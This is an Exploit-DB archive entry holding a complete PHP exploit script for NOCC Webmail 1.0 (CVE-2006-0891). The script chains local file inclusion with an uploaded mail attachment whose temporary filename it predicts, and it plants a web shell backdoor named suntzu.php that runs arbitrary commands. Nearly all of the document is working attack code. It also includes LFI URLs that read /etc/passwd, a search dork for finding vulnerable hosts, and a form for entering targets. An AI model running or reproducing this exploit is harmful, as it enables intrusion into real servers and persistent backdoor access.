NOCC Webmail <= 1.0 Local Inclusion Remote Code Execution Exploit

2006-02-23T00:00:00
ID EDB-ID:1522
Type exploitdb
Reporter rgod
Modified 2006-02-23T00:00:00

Description

NOCC Webmail <= 1.0 (Local Inclusion) Remote Code Execution Exploit. CVE-2006-0891. Webapps exploit for php platform

                                        
                                            &lt;?php
#  ---noccw_10_incl_xpl.php                                 8.22 23/02/2006    #
#                                                                              #
#  NOCC Webmail &lt;= 1.0 remote commands execution exploit through arbitrary     #
#  local inclusion & attachment filename prediction                            #
#                                                                              #
#                              coded by rgod                                   #
#                     site: http://retrogod.altervista.org                     #
#                                                                              #
# -&gt; works regardless of any magic_quotes_gpc settings                         #
#                                                                              #
# dork: ("powered by nocc" intitle:"NOCC Webmail") -site:sourceforge.net       #
# -Zoekinalles.nl -analysis                                                    #
#                                                                              #
# Sun-Tzu: "Knowing the place and the time of the coming  battle, we may       #
# concentrate from the greatest distances in order to fight"                   #

/* short explaination:
   we have various arbitrary local inclusion issues, ex:

   http://[tArGeT]/[pAtH]/index.php?lang=../../../../../../../../../../../../etc/passwd%00
   http://[tArGeT]/[pAtH]/index.php?theme=../../../../../../../../../../../etc/passwd%00
   http://[tArGeT]/[pAtH]/html/footer.php?_SESSION[nocc_theme]=../../../../../../../../etc/passwd%00

   This code upload an evil mail attachment (file is renamed by NOCC...).
   After, it tries to include it, predicting its name and its location, ex:

   http://[tArGeT]/[pAtH]/index.php?lang=../tmp/php354.tmp1140521343.att%00&cmd=ls%20-la
   http://[tArGeT]/[pAtH]/index.php?theme=../tmp/php354.tmp1140521343.att%00&cmd=ls%20-la
   http://[tArGeT]/[pAtH]/html/footer.php?_SESSION[nocc_theme]=..%2f..%2Ftmp%2Fphp53.tmp1140662880.att%00

   If succeeded, it installs  a backdoor called suntzu.php on target server.

   To launch this exploit you need a POP3 account on a machine of your choice,
   you need to supply servername, username & password.

   a note:
   you can do the same manually and more quickly with profile files, if
   enabled, ex:
   edit your profile, then:

   http://[target]/[path]/index.php?cmd=cat%20conf.php&lang=../profiles/username@somehost.com.pref%00

   see the full advisory here: http://retrogod.altervista.org/noccw_10_incl_xpl.html
                                                                              */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);
ob_implicit_flush (1);

echo'&lt;html&gt;&lt;head&gt;&lt;title&gt; **** NOCC Webmail &lt;= 1.0 remote commands execution ****
&lt;/title&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt;
&lt;style type="text/css"&gt; body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--&gt;&lt;/style&gt;&lt;/head&gt;&lt;body&gt;&lt;p class="Stile6"&gt;
 **** NOCC Webmail &lt;= 1.0 remote commands execution ****&lt;/p&gt;&lt;p class="Stile6"&gt;a
script  by  rgod  at    &lt;a href="http://retrogod.altervista.org"target="_blank"&gt;
http://retrogod.altervista.org&lt;/a&gt; &lt;/p&gt; &lt;table  width="84%"&gt;&lt;tr&gt;&lt;td width="43%"&gt;
&lt;form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"&gt;    &lt;p&gt;&lt;input
type="text"  name="hOsT"&gt; &lt;span class="Stile5"&gt;* tArGeT    (ex:www.sitename.com)
&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;input type="text" name="pAtH"&gt;  &lt;span class="Stile5"&gt;* pAtH (ex:
/nocc/ or just / )  &lt;/span&gt; &lt;/p&gt; &lt;p&gt; &lt;input type="text"  name="cmd"&gt;       &lt;span
class="Stile5"&gt; * specify a command   &lt;/span&gt; &lt;/p&gt;  &lt;p&gt;      &lt;input  type="text"
name="POP3_SERVER"&gt;&lt;span class="Stile5"&gt; * a POP3 server  &lt;/span&gt; &lt;/p&gt; &lt;p&gt;&lt;input
type="text" name="USER"&gt;&lt;span class="Stile5"&gt; * USERNAME ...&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input
type="password"   name="PASSWD"&gt; &lt;span  class="Stile5"&gt; * ... and PASSWORD to it
&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input type="text" name="PorT"&gt;&lt;span class="Stile5"&gt;specify a PorT
other than  80 (default value)&lt;/span&gt; &lt;/p&gt; &lt;p&gt; &lt;input  type="text" name="pRoXy"&gt;
&lt;span class="Stile5"&gt; send  exploit through an HTTP pRoXy (ip:PorT) &lt;/span&gt; &lt;/p&gt;
&lt;p&gt;&lt;input type="submit" name="Submit" value="go!"&gt;&lt;/p&gt;&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/table&gt;
&lt;/body&gt;&lt;/html&gt;';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '&lt;table border="0"&gt;&lt;tr&gt;';
  while ($ii &lt;= strlen($headeri)-1){
    $dAtAi=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "&lt;td&gt;&nbsp;&nbsp;&lt;/td&gt;";
      for ($li=0; $li&lt;=15; $li++) {
        echo "&lt;td&gt;".htmlentities($headeri[$li+$ki])."&lt;/td&gt;";
		}
      $ki=$ki+16;
      echo "&lt;/tr&gt;&lt;tr&gt;";
    }
    if (strlen($dAtAi)==1) {
      echo "&lt;td&gt;0".htmlentities($dAtAi)."&lt;/td&gt;";
    }
    else {
      echo "&lt;td&gt;".htmlentities($dAtAi)."&lt;/td&gt; ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li&lt;=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "&lt;td&gt;&nbsp&nbsp&lt;/td&gt;";
  }
  for ($li=$ci*16; $li&lt;=strlen($headeri); $li++) {
    echo "&lt;td&gt;".htmlentities($headeri[$li])."&lt;/td&gt;";
  }
  echo "&lt;/tr&gt;&lt;/table&gt;";
}

$pRoXy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpAcKeT() //2x speed
{
  global $pRoXy, $hOsT, $PorT, $pAcKeT, $HtMl, $pRoXy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket &lt; 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "&lt;br&gt;";
  }
  else {
    $c = preg_match($pRoXy_regex,$pRoXy);
    if (!$c) {echo 'Not a valid proxy...';
    die;
    }
  echo "OK.&lt;br&gt;";
  echo "Attempting to connect to ".$hOsT." on PorT ".$PorT."...&lt;br&gt;";
  if ($pRoXy=='') {
    $result = socket_connect($socket, $hOsT, $PorT);
  }
  else {
    $parts =explode(':',$pRoXy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' pRoXy...&lt;br&gt;';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result &lt; 0) {
    echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "&lt;br&gt;&lt;br&gt;";
  }
  else {
    echo "OK.&lt;br&gt;&lt;br&gt;";
    $HtMl= '';
    socket_write($socket, $pAcKeT, strlen($pAcKeT));
    echo "Reading response:&lt;br&gt;";
    while ($out= socket_read($socket, 2048)) {$HtMl.=$out;}
    echo nl2br(htmlentities($HtMl));
    echo "Closing socket...";
    socket_close($socket);
  }
  }
}

function sendpAcKeTii($pAcKeT)
{
  global $pRoXy, $hOsT, $PorT, $HtMl, $pRoXy_regex;
  if ($pRoXy=='') {
    $ock=fsockopen(gethOsTbyname($hOsT),$PorT);
    if (!$ock) {
      echo 'No response from '.htmlentities($hOsT); die;
    }
  }
  else {
	$c = preg_match($pRoXy_regex,$pRoXy);
    if (!$c) {
      echo 'Not a valid pRoXy...';die;
    }
    $parts=explode(':',$pRoXy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' pRoXy...&lt;br&gt;';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from pRoXy...';die;
	}
  }
  fputs($ock,$pAcKeT);
  if ($pRoXy=='') {
    $HtMl='';
    while (!feof($ock)) {
      $HtMl.=fgets($ock);
    }
  }
  else {
    $HtMl='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$HtMl))) {
      $HtMl.=fread($ock,1);
    }
  }
  fclose($ock);
  // echo nl2br(htmlentities($HtMl));
}

function greenwich_timestamp($HtMl)
{
   $temp=explode("Date: ",$HtMl);
   $temp2=explode("\r\n",$temp[1]);
   $is_now=$temp2[0];
   $temp=explode(" ",$is_now);$day=$temp[1];$month=$temp[2];$year=$temp[3];$temp2=explode(":",$temp[4]);
   $hour=$temp2[0];$min=$temp2[1];$sec=$temp2[2];
   $tb=array ('Jan', '1','Feb', '2','Mar', '3','Apr', '4','May', '5','Jun', '6',
   'Jul', '7','Aug', '8','Sep', '9','Oct', '10','Nov', '11','Dec', '12');
   for ($i=0;$i&lt;=23;$i++) {if ($month==$tb[$i]) {$month=$tb[$i+1];break;}}
   return mktime($hour,$min,$sec,$month,$day,$year);
}

if ( get_magic_quotes_gpc() ) {
   function stripslashes_deep($value) {
       $value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value);
       return $value;
   }
   $_POST = stripslashes_deep($_POST);
}

$hOsT=$_POST[hOsT];$pAtH=$_POST[pAtH];$PorT=$_POST[PorT];
$USER=$_POST[USER];$PASSWD=$_POST[PASSWD];$POP3_SERVER=$_POST[POP3_SERVER];
$cmd=$_POST[cmd];
echo "&lt;span class=\"Stile5\"&gt;";
if (($hOsT&lt;&gt;'') and ($pAtH&lt;&gt;'') and ($cmd&lt;&gt;''))
{
  $PorT=intval(trim($PorT));
  if ($PorT=='') {$PorT=80;}
  if (($pAtH[0]&lt;&gt;'/') or ($pAtH[strlen($pAtH)-1]&lt;&gt;'/')) {echo 'Error... check the pAtH!'; die;}
  if ($pRoXy=='') {$p=$pAtH;} else {$p='http://'.$hOsT.':'.$PorT.$pAtH;}
  $hOsT=str_replace("\r","",$hOsT);$hOsT=str_replace("\n","",$hOsT);
  $pAtH=str_replace("\r","",$pAtH);$pAtH=str_replace("\n","",$pAtH);

#STEP 0 -&gt; Check if already succeeded on tArGeT hOsT...
$subpAtH= array ('','html/');
for ($i=0; $i&lt;=count($subpAtH)-1; $i++)
{
  $pAcKeT ="GET ".$p.$subpAtH[$i]."suntzu.php?cmd=".urlencode($cmd)." HTTP/1.1\r\n";
  $pAcKeT.="Host: ".$hOsT."\r\n";
  $pAcKeT.="Connection: Close\r\n\r\n";
  show($pAcKeT);
  sendpAcKeTii($pAcKeT);
  if (eregi("Hi Master!",$HtMl)) {echo nl2br(htmlentities($HtMl));
                                  die("Exploit succeeded...");}
}
if (file_exists($hOsT.".txt"))
  {
   $f=fopen($hOsT.".txt","r");
   $XpL=fgets($f);
   fclose($f);
   $pAcKeT ="GET ".$p.$XpL."&cmd=".urlencode($cmd)." HTTP/1.1\r\n";
   $pAcKeT.="hOsT: ".$hOsT."\r\n";
   $pAcKeT.="Connection: Close\r\n\r\n";
   show($pAcKeT);
   sendpAcKeTii($pAcKeT);
   if (eregi("Hi Master!",$HtMl)) {echo nl2br(htmlentities($HtMl));
                                   die("Exploit succeeded...");}
}
}

if (($hOsT&lt;&gt;'') and ($pAtH&lt;&gt;'') and ($cmd&lt;&gt;'') and ($POP3_SERVER&lt;&gt;'') and ($USER&lt;&gt;'') and ($PASSWD&lt;&gt;''))
{
$difftime=0;
//syncrhonize with remote tArGeT Unin epoch time by Apache "Date:" response header
//it carries GMT time... sending two HEAD requests, one to target, one to yourself
if (eregi("Date: ",$HtMl))
{
        $pAcKeT ="HEAD / HTTP/1.1\r\nhOsT: ".$hOsT."\r\nConnection: Close\r\n\r\n";
        sendpAcKeTii($pAcKeT);
        $itstime=greenwich_timestamp($HtMl);
        echo "tArGeT hOsT greenwich timestamp: ".$itstime."&lt;br&gt;";
        $pAcKeT=str_replace($hOsT,$_SERVER[SERVER_NAME],$pAcKeT);
        $fp=fsockopen($_SERVER[SERVER_NAME],$_SERVER[SERVER_PORT]);
        fputs($fp,$pAcKeT);$out='';
        while (!feof($fp)){
          $out.=fgets($fp);
        }
        fclose($fp);
        $mytime=greenwich_timestamp($out);
        echo "my greenwich timestamp: ".$mytime."&lt;br&gt;";
        $difftime= $itstime-$mytime;
        echo "difftime: ".$difftime."&lt;br&gt;";
}
  #STEP 1 -&gt; Login to a POP3 server that you choose to have access on NOCC interface
  $dAtA ="user=".$USER;
  $dAtA.="&domainnum=0";
  $dAtA.="&passwd=".$PASSWD;
  $dAtA.="&server=".$POP3_SERVER;
  $dAtA.="&port=110";
  $dAtA.="&servtype=pop3";
  $dAtA.="&lang=en";
  $dAtA.="&theme=standard";
  $dAtA.="&enter=Ok";
  $pAcKeT ="POST ".$p."action.php HTTP/1.1\r\n";
  $pAcKeT.="Referer: http://".$hOsT.$pAtH."\r\n";
  $pAcKeT.="Accept-Language: en\r\n";
  $pAcKeT.="Content-Type: application/x-www-form-urlencoded\r\n";
  $pAcKeT.="User-Agent: Sun-Tzu\r\n";
  $pAcKeT.="Host: ".$hOsT."\r\n";
  $pAcKeT.="Content-Length: ".strlen($dAtA)."\r\n";
  $pAcKeT.="Connection: Close\r\n";
  $pAcKeT.="Cache-Control: no-cache\r\n\r\n";
  $pAcKeT.=$dAtA;
  show($pAcKeT);
  sendpAcKeTii($pAcKeT);
  $temp=explode("Set-Cookie: ",$HtMl);
  $temp2=explode(" ",$temp[1]);
  $COOKIE=$temp2[0];
  $temp2=explode(" ",$temp[2]);
  $COOKIE.=" ".$temp2[0];
  echo "COOKIE -&gt; ".htmlentities($COOKIE)."&lt;BR&gt;";

#STEP 2 -&gt; Upload the evil attachment...
$action = array ('add', 'Attach'); //'action' name is different in some versions
$found=0;
for ($d=0; $d=count($action)-1; $d++)
{
$dAtA='-----------------------------7d630bc80618
Content-Disposition: form-data; name="sort"

1
-----------------------------7d630bc80618
Content-Disposition: form-data; name="sortdir"

1
-----------------------------7d630bc80618
Content-Disposition: form-data; name="lang"

en
-----------------------------7d630bc80618
Content-Disposition: form-data; name="action"

write
-----------------------------7d630bc80618
Content-Disposition: form-data; name="sendaction"

'.$action[$d].'
-----------------------------7d630bc80618
Content-Disposition: form-data; name="num_attach"

0
-----------------------------7d630bc80618
Content-Disposition: form-data; name="mail_from"

fake@fakemail.com
-----------------------------7d630bc80618
Content-Disposition: form-data; name="mail_to"


-----------------------------7d630bc80618
Content-Disposition: form-data; name="mail_cc"


-----------------------------7d630bc80618
Content-Disposition: form-data; name="mail_bcc"


-----------------------------7d630bc80618
Content-Disposition: form-data; name="mail_subject"


-----------------------------7d630bc80618
Content-Disposition: form-data; name="mail_att"; filename="C:\suntzuuuu.php"
Content-Type: text/html

&lt;?php
ob_clean();echo"Hi Master!";ini_set("max_execution_time",0);passthru($_GET[cmd]);
$sun=fopen("suntzu.php","w");fputs($sun,"&lt;?php ob_clean();echo\"Hi Master!\";ini_set(\"max_execution_time\",0);passthru(\$_GET[cmd]);");
fclose($sun);chmod("suntzu.php",777);
die;
?&gt;
-----------------------------7d630bc80618
Content-Disposition: form-data; name="priority"

3 (Normal)
-----------------------------7d630bc80618
Content-Disposition: form-data; name="mail_body"


-----------------------------7d630bc80618--';

  $pAcKeT ="POST ".$p."send.php HTTP/1.1\r\n";
  $pAcKeT.="Referer: http://".$hOsT.$pAtH."action.php?action=write&lang=en&sort=1&sortdir=1\r\n";
  $pAcKeT.="Accept-Language: en\r\n";
  $pAcKeT.="Content-Type: multipart/form-data; boundary=---------------------------7d630bc80618\r\n";
  $pAcKeT.="User-Agent: Sun-Tzu\r\n";
  $pAcKeT.="Host: ".$hOsT."\r\n";
  $pAcKeT.="Content-Length: ".strlen($dAtA)."\r\n";
  $pAcKeT.="Connection: Close\r\n";
  $pAcKeT.="Cache-Control: no-cache\r\n";
  $pAcKeT.="Cookie: ".$COOKIE."\r\n\r\n";
  $pAcKeT.=$dAtA;
  show($pAcKeT);
  $mytime=time()+$difftime;

  echo "predicting Unix epoch time on remote machine -&gt;".$mytime."&lt;br&gt;&lt;br&gt;";
  sendpAcKeTii($pAcKeT);

  if (eregi("suntzuuuu.php",$HtMl)) {$found=1; break;}
}
if ($found==0)
{die("Failed to upload the attachment, maybe wrong pop3 details");}

# STEP 3 Our routine... cycling to find the evil attachment and to launch commands...
# ---------------------------------START----------------------------------------
  //guessing where $tmpdir can be..., add some values here if you want
  $tempdir= array (
                  'tmp/',
                  '../../../../../../../../../../../../../tmp/',
		          '../../../../../../../../../../../../../temp/',
                  '',
		          'temp/',
		          '../tmp/',
		          '../../tmp/',
		          '../../../tmp/',
		          '../../../../tmp/',
		          '../../../../../tmp/',
		          '../../../../../../tmp/',
		          '../../../../../../../tmp/'
		          );
  //predicting time() substring in attachment filename
  $predict_time=
            array (
	          $mytime,
	          $mytime + 1,
	          $mytime + 2,
	          $mytime + 3
	          );

function refresh()
{
  flush();
  ob_flush();
  usleep(10000);
}
$script= array (
                "index.php?lang=",
                "index.php?theme=",
                "html/footer.php?_SESSION[nocc_theme]=..%2F"
               );

for ($y=1; $y&lt;=65535; $y++) //some hex values in php temporary files
{
  $a_value=strtoupper(dechex($y));
  for ($x=0; $x&lt;=count($tempdir)-1; $x++) //for each possible file location
  {
    for ($z=0; $z&lt;=count($predict_time) - 1; $z++) // for actual Unix epoch time, with +1,+2,+3
    {
      for($ww=0; $ww&lt;=count($script)-1; $ww++) //for each vulnerable script
      {
      $XpL="../".$tempdir[$x]."php".$a_value.".tmp".$predict_time[$z].".att".chr(0x00);
      $XpL=urlencode($XpL);
      $XpL=$script[$ww].$XpL;
      $pAcKeT ="GET ".$p.$XpL."&cmd=".urlencode($cmd)." HTTP/1.1\r\n";
      $pAcKeT.="Host: ".$hOsT."\r\n";
      $pAcKeT.="Connection: Close\r\n\r\n";
      echo "trying with http://".$hOsT.$pAtH.$XpL."&lt;br&gt;"; refresh();
      //show($pAcKeT);
      sendpAcKeTii($pAcKeT);
      if (eregi("Hi Master!",$HtMl))
               { show($pAcKeT);
                 echo nl2br(htmlentities($HtMl));
		 $f=fopen($hOsT.".txt","w");
		 fputs($f,$XpL);
		 fclose($f);
		 refresh();
         die("Exploit succeded... We tried to put a backdoor on tArGeT system, ************ &lt;br&gt;
		      call this url:                                                                &lt;br&gt;
		      http://".htmlentities($hOsT.$pAtH)."suntzu.php?&cmd=[your command]            &lt;br&gt;
		      or this:                                                                      &lt;br&gt;
		      http://".htmlentities($hOsT.$pAtH)."html/suntzu.php?&cmd=[your command]       &lt;br&gt;
		      however,if not succeeded, you can launch commands with this:                  &lt;br&gt;
		      http://".htmlentities($hOsT.$pAtH.$XpL)."&cmd=[your command]                  &lt;br&gt;
		      Also, we keep exploit url in ".htmlentities($hOsT).".txt, so you have not to  &lt;br&gt;
		      cycle anymore...                                                              &lt;br&gt;
		      Enjoy! ***********************************************************************&lt;br&gt;
		     ");
              }
	  }
    }
  }
}
//If you are here...
echo "Exploit failed...";
#-------------------------------END---------------------------------------------
}
else
{echo "Fill * required fields, optionally specify a pRoXy...";}
?&gt;

# milw0rm.com [2006-02-23]